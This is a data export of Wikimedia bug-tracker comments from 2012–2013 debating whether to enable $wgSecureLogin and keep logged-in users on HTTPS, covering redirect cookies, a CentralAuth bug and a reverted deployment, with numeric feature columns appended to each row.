+187135,Set $wgSecureLogin = true; on Wikimedia wikis,"Change 68937 had a related patch set uploaded by Krinkle:
+Enabling secure login (HTTPS), second attempt
+
+https://gerrit.wikimedia.org/r/68937",,,1373321517,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+187131,Set $wgSecureLogin = true; on Wikimedia wikis,"Well, there's take two. Once the bug-fix for CentralAuth is live we can try this out again.",,,1371355011,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-11,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+187127,Set $wgSecureLogin = true; on Wikimedia wikis,Related URL: https://gerrit.wikimedia.org/r/68937 (Gerrit Change I17c902ae8d5e6845c938f7d6643b3d469d6e9a57),,,1371354873,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-11,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+187123,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #38)
+> (In reply to comment #24)
+> > So basically here is what needs to be fixed with $wgSecureLogin:
+> > * Actual functionality is fixed
+> 
+> > * Links on the HTTPS login page should be set to the protocol of where the
+> > user is coming from (I forget where, but there is a bug filed for this).
+> 
+> > * HTTP cookie is set so user will be auto-redirected to HTTPS when logged in
+> > there.
+> This could be done by simply enabling Strict transport security.
+
+I did this in Extension:SecureSessions. However, I should note that the third problem has already been fixed with the forceHTTPS cookie and the second problem can't be solved with STS.",,,1367257188,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+187119,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #24)
+> So basically here is what needs to be fixed with $wgSecureLogin:
+> * Actual functionality is fixed
+
+> * Links on the HTTPS login page should be set to the protocol of where the
+> user is coming from (I forget where, but there is a bug filed for this).
+
+> * HTTP cookie is set so user will be auto-redirected to HTTPS when logged in
+> there.
+This could be done by simply enabling Strict transport security.",,,1367257011,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,1,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+187114,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #36)
+> I agree with keeping $wgSecureLogin within scope. For this bug, however,
+> would
+> you mind changing the bug summary from ""Set $wgSecureLogin = true; on
+> Wikimedia
+> wikis"" to something that captures what I think we really want here: setting
+> $wgSecureLogin in addition to providing HTTPS by default for logged-in users?
+
+But this requires development, which would take time. The reason I filed this bug is that (with the exception of the bug that occurs because of extensions), $wgSecureLogin is functional and only requires setting a configuration variable to true in order to enable. Personally I'd like to see all logged in users over HTTPS as well, but at the very least we could make some attempt at improving security in the meantime.",,,1362702699,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-25,True,1,1,1,0,0,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,1,1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+187108,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #35)
+> If https://gerrit.wikimedia.org/r/47089 is merged, then there will also be
+> the technical ability to require HTTPS for all logged in users, but I think
+> that we should keep the scope of $wgSecureLogin specific to what it was
+> originally intended for: making logins secure.
+
+I agree with keeping $wgSecureLogin within scope. For this bug, however, would you mind changing the bug summary from ""Set $wgSecureLogin = true; on Wikimedia wikis"" to something that captures what I think we really want here: setting $wgSecureLogin in addition to providing HTTPS by default for logged-in users?
+
+HTTPS prevents session exposure. It's obviously not critical to have, but it's a reasonable enhancement request that's been tested and provisioned for and it prevents users from accidentally shooting themselves in the foot.
+
+If other sites want to only secure login, but put users back into HTTP for everything else, that's certainly their prerogative. For Wikimedia wikis (the scope of this bug), I think we must secure logins in addition to automatically redirecting users back to HTTPS by default.",,,1362691689,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-25,True,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+187103,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #34)
+> You're assuming that all Wikipedia editors live in countries and do editing
+> tasks that they would be comfortable transmitting to the public. That's not
+> the
+> case. Put yourself in the shoes of someone editing from Qatar or Beijing, and
+> ask whether it would be a good thing to automatically direct such users to
+> HTTPS. 
+> 
+> For people not subject to that kind of extreme case... many would feel more
+> comfortable about the security of their account and the privacy of their
+> information if they were logged in from a secure connection. If we can add
+> this
+> enhancement for people, we should.
+
+If we're talking about extreme cases here, then what about the extreme (or maybe not-so-extreme) case of other wikis who don't have the resources to put their users over HTTPS, but they still want to make sure their users' passwords are secure?
+
+If https://gerrit.wikimedia.org/r/47089 is merged, then there will also be the technical ability to require HTTPS for all logged in users, but I think that we should keep the scope of $wgSecureLogin specific to what it was originally intended for: making logins secure.",,,1362685182,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-25,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,0,1,1,0,0,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+187095,Set $wgSecureLogin = true; on Wikimedia wikis,"**swalling** wrote:
+
+(In reply to comment #33)
+> (In reply to comment #32)
+> > Logged-in users should be routed via HTTPS to Special:UserLogin and then stay
+> > there for however long they're logged in. A user preference (inside
+> > Special:Preferences) _may_ make sense to allow logged-in users to switch to
+> > HTTP, but the default should be HTTPS from login to logout. There's no need
+> > to
+> > have a checkbox on Special:UserLogin.
+> 
+> But why? There's no purpose to forcing all logged in users to be over HTTPS.
+> It's not like they're transmitting sensitive information when editing
+> Wikipedia.
+
+You're assuming that all Wikipedia editors live in countries and do editing tasks that they would be comfortable transmitting to the public. That's not the case. Put yourself in the shoes of someone editing from Qatar or Beijing, and ask whether it would be a good thing to automatically direct such users to HTTPS. 
+
+For people not subject to that kind of extreme case... many would feel more comfortable about the security of their account and the privacy of their information if they were logged in from a secure connection. If we can add this enhancement for people, we should.",,,1362682619,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-25,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1,0,1,1,1,1,0,1,1,0,0,1,1,0,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+187088,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #32)
+> Logged-in users should be routed via HTTPS to Special:UserLogin and then stay
+> there for however long they're logged in. A user preference (inside
+> Special:Preferences) _may_ make sense to allow logged-in users to switch to
+> HTTP, but the default should be HTTPS from login to logout. There's no need
+> to
+> have a checkbox on Special:UserLogin.
+
+But why? There's no purpose to forcing all logged in users to be over HTTPS. It's not like they're transmitting sensitive information when editing Wikipedia.",,,1362681915,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-25,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+187083,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #31)
+> Yeah, but what if the user wants to stay in HTTPS rather than go back to
+> HTTP. Without the checkbox they no longer have an option to do so.
+
+Logged-in users should be routed via HTTPS to Special:UserLogin and then stay there for however long they're logged in. A user preference (inside Special:Preferences) _may_ make sense to allow logged-in users to switch to HTTP, but the default should be HTTPS from login to logout. There's no need to have a checkbox on Special:UserLogin.",,,1362680438,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-25,True,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+187079,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #30)
+> And I think a fourth point might be ""get rid of the Special:UserLogin
+> checkbox""
+> (if that's not already included in the three points above). It's pretty bad
+> user interface, I think. The default should just be sane.
+
+Yeah, but what if the user wants to stay in HTTPS rather than go back to HTTP. Without the checkbox they no longer have an option to do so.",,,1362679034,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-25,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+187074,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #24)
+> So basically here is what needs to be fixed with $wgSecureLogin:
+> * Actual functionality is fixed
+> * HTTP cookie is set so user will be auto-redirected to HTTPS when logged in
+> there.
+> * Links on the HTTPS login page should be set to the protocol of where the
+> user is coming from (I forget where, but there is a bug filed for this).
+
+Did all of this happen before this got merged/deployed? :-/
+
+And I think a fourth point might be ""get rid of the Special:UserLogin checkbox"" (if that's not already included in the three points above). It's pretty bad user interface, I think. The default should just be sane.",,,1362622818,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-25,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+187070,Set $wgSecureLogin = true; on Wikimedia wikis,"I *think* the issue is that since centralauth is injecting the SUL images, then successfulLogin() calls displaySuccessfulAction() instead of executeReturnTo(). So I would bet the ""Return to..."" link was to an http link, but the rest of the links on the page were https since the page was still loaded over https.",,,1362611472,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-25,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+187066,Set $wgSecureLogin = true; on Wikimedia wikis,"Yeah, I can't replicate the behavior on my test wiki, so maybe it's a configuration-specific bug?",,,1362599868,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-25,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+187061,Set $wgSecureLogin = true; on Wikimedia wikis,"We decided to revert at the end because unchecking the box to keep the user in https didn't redirect them to http when this was running on the cluster. We may want to enable this on a smaller set of wikis, or beta, so we can debug why that is happening.
+
+In addition, I noticed that the centralauth_Session cookie is getting set with the secure flag. We may want to change that as well.",,,1362592652,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-25,True,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+187058,Set $wgSecureLogin = true; on Wikimedia wikis,"https://gerrit.wikimedia.org/r/52344
+
+Was reverted shortly afterward. :P",,,1362588943,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-25,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+187054,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #11)
+> https://gerrit.wikimedia.org/r/21322
+
+Merged and deployed by Chris this morning.",,,1362588628,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-25,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+187049,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #20)
+> (In reply to comment #19)
+> > (In reply to comment #18)
+> >> experience, which is why I'd rather see effort focused on fixing bug 29898.
+> > 
+> > But does this change require any other effort besides the change of an existing
+> > setting to true?
+> 
+> Err, right. I think I remember what's going on here now. So there's
+> $wgSecureLogin, which basically changes the ""log in"" link to specify HTTPS. The
+> user clicks ""log in"" and he or she logs in to HTTPS and the user will stay in
+> HTTPS after successfully logging in.
+> 
+> However, when the user clicks one of the million HTTP links (in an e-mail, on a
+> wiki page, on IRC, elsewhere on the Web), the user will not be automagically
+> redirected to HTTPS, he or she will _stay_ at HTTP and he or she won't be
+> logged in any longer. This is very disorienting. The user can click ""log in"" in
+> the corner of the page, but he or she will be transferred to Special:UserLogin
+> over HTTPS and suddenly the user will appear to be logged in again.
+> 
+> In short, the issue with just setting $wgSecureLogin to true is that the user
+> experience kind of sucks, as I understand it. (Feel free to correct me if I've
+> misread the $wgSecureLogin-related code!)
+> 
+> (I'm also not sure it actually prevents form submission over HTTP [if the user
+> navigates to the HTTP version of Special:UserLogin directly].)
+> 
+> If this is an acceptable situation, it's fine to set $wgSecureLogin to true on
+> Wikimedia wikis. You'll need to get an okay from Wikimedia Foundation
+> operations (ops) first before the change can be deployed. The load spike from
+> logging in over HTTPS should be minimal, but the load spike from users
+> continuing to use HTTPS after logging in will be less negligible, I think. Ops
+> will also wants a heads-up so that there isn't an unexplained load spike.
+
+This is how $wgSecureLogin works, but is not how it should work. If you notice, enablind $wgSecureLogin adds a ""Stay on HTTPS"" checkbox to the login form. The intended functionality of wgSecureLogin is that all logins are put over HTTPS, and then the user is given back to whatever they were using before. I just tested this on my test wiki and it doesn't seem to do this, so that's probably a bug, but that's what's supposed to happen.
+
+So basically here is what needs to be fixed with $wgSecureLogin:
+* Actual functionality is fixed
+* HTTP cookie is set so user will be auto-redirected to HTTPS when logged in there.
+* Links on the HTTPS login page should be set to the protocol of where the user is coming from (I forget where, but there is a bug filed for this).",,,1346124757,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+187044,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #21)
+> (In reply to comment #20)
+> > In short, the issue with just setting $wgSecureLogin to true is that the user
+> > experience kind of sucks, as I understand it. (Feel free to correct me if I've
+> > misread the $wgSecureLogin-related code!)
+> 
+> For any users that notice the protocol, it may be disorienting, but I would
+> guess most of our users don't really pay attention to it (hopefully I'm wrong
+> about that!). But the win is that if they click the login link again, they'll
+> be back using https before they enter their password again. That would be a
+> step towards helping our users be more secure, even if we have plenty of other
+> bugs to close too.
+
+The problem there though is when they hit the login link they already end up logged in. But now they are sitting on a login page, already logged in, and with no way to bypass it and get back to the page they want to edit.
+
+- If they notice they are already logged in they probably won't bother trying to log in again and will be completely confused. Not to mention that forcing someone to login when already logged in is a really ugly experience.
+- If they try to hit back they will return to http:// and be completely completely confused as they are no longer logged in.
+
+I think there are a few things we may want to do to improve the user experience.
+
+Firstly we should probably introduce a http cookie for users who log into https. Basically a cookie saying that a user is logged in on https. When we see this cookie on the http version of a page we should immediately redirect them to the https page. This won't be for security but rather to improve the user experience.
+
+Secondly we should probably deal with Special:Userlogin's behaviour. The act of a user ending up on a login page when logged in is really strange.
+
+There may be some value to logging in while already logged in. But I believe the primary reason for this is a holdover from login and user creation being part of the same page, needing to visit login to get to create user, and admins wanting to be able to create users while logged in. Just like with create user being the same link as login.
+
+In the long run we want create user and userlogin to be separate pages. And removal of ever having a combined login+register link, always have separate ones.
+
+Right now I think we may want to introduce a &loginlink=1 parameter like we have for &redlink=1. We'll place this on our login link. And when specified this will have the effect of automatically redirecting you to your final destination when you are already logged in.
+
+Combined these two things will have the effect of:
+- When you're already logged in and see a http:// link you will end up back on https:// so you are properly sitting in the place where you are logged in.
+- When you end up on http:// and the http cookie has disappeared and got out of sync with https clicking on the login link will land you right back on the page you were at, in the https version, already logged in, and also fix your cookie.",,,1346122112,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+187035,Set $wgSecureLogin = true; on Wikimedia wikis,"I chatted with Ryan Lane briefly just now. There's no issue from ops' perspective to have logged-in users go over HTTPS. The current HTTPS infrastructure is over-provisioned and should be able to support logged-in users well.
+
+However, Ryan agrees that the usability problem of currently not auto-redirecting from HTTP to HTTPS is rather nasty and he would also really like to see that addressed before this change is implemented.",,,1346120061,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-53,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+187030,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #19)
+> >> experience, which is why I'd rather see effort focused on fixing bug 29898.
+
+I don't think they're mutually exclusive. We need to do both.
+
+
+(In reply to comment #20)
+> In short, the issue with just setting $wgSecureLogin to true is that the user
+> experience kind of sucks, as I understand it. (Feel free to correct me if I've
+> misread the $wgSecureLogin-related code!)
+
+For any users that notice the protocol, it may be disorienting, but I would guess most of our users don't really pay attention to it (hopefully I'm wrong about that!). But the win is that if they click the login link again, they'll be back using https before they enter their password again. That would be a step towards helping our users be more secure, even if we have plenty of other bugs to close too.",,,1346118011,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-53,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,1
+187023,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #19)
+> (In reply to comment #18)
+>> experience, which is why I'd rather see effort focused on fixing bug 29898.
+> 
+> But does this change require any other effort besides the change of an existing
+> setting to true?
+
+Err, right. I think I remember what's going on here now. So there's $wgSecureLogin, which basically changes the ""log in"" link to specify HTTPS. The user clicks ""log in"" and he or she logs in to HTTPS and the user will stay in HTTPS after successfully logging in.
+
+However, when the user clicks one of the million HTTP links (in an e-mail, on a wiki page, on IRC, elsewhere on the Web), the user will not be automagically redirected to HTTPS, he or she will _stay_ at HTTP and he or she won't be logged in any longer. This is very disorienting. The user can click ""log in"" in the corner of the page, but he or she will be transferred to Special:UserLogin over HTTPS and suddenly the user will appear to be logged in again.
+
+In short, the issue with just setting $wgSecureLogin to true is that the user experience kind of sucks, as I understand it. (Feel free to correct me if I've misread the $wgSecureLogin-related code!)
+
+(I'm also not sure it actually prevents form submission over HTTP [if the user navigates to the HTTP version of Special:UserLogin directly].)
+
+If this is an acceptable situation, it's fine to set $wgSecureLogin to true on Wikimedia wikis. You'll need to get an okay from Wikimedia Foundation operations (ops) first before the change can be deployed. The load spike from logging in over HTTPS should be minimal, but the load spike from users continuing to use HTTPS after logging in will be less negligible, I think. Ops will also wants a heads-up so that there isn't an unexplained load spike.",,,1346114364,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-53,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+187017,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #18)
+> experience, which is why I'd rather see effort focused on fixing bug 29898.
+
+But does this change require any other effort besides the change of an existing setting to true?",,,1346109647,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1
+187014,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #16)
+> I strongly disagree with this. Right now all WMF wikis send all passwords in
+> plaintext over insecure connections. That is a major security vulnerability and
+> I'm surprised we haven't resolved it earlier.
+
+All Wikimedia wikis send all passwords in plaintext? :-)  And to call this a major security vulnerability is a bit extreme as well.
+
+But I agree with your general point about wanting a more secure user experience, which is why I'd rather see effort focused on fixing bug 29898.",,,1346109042,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-53,True,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+187010,Set $wgSecureLogin = true; on Wikimedia wikis,"I agree with Tyler we should enforce security.
+
+Furthermore, this becomes a best practice: Google, Yahoo! use this https for login solution.",,,1346097999,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0
+187008,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #14)
+> My thoughts on this are that:
+> 
+> (1) we shouldn't set $wgSecureLogin until there's a user preference for HTTPS
+> (bug 29898) and a cookie to kick users from HTTP back to HTTPS); and
+
+I strongly disagree with this. Right now all WMF wikis send all passwords in plaintext over insecure connections. That is a major security vulnerability and I'm surprised we haven't resolved it earlier. Yes, it would be better if EVERYTHING was over TLS, but this is the least we can do to start enforcing a better security policy.
+
+> (2) we shouldn't set this per-wiki as it's a complete waste of time (we'll end
+> up with a dozen bugs asking for individual wiki changes until someone finally
+> just sets a default; let's just set the default reasonably from the start).
+
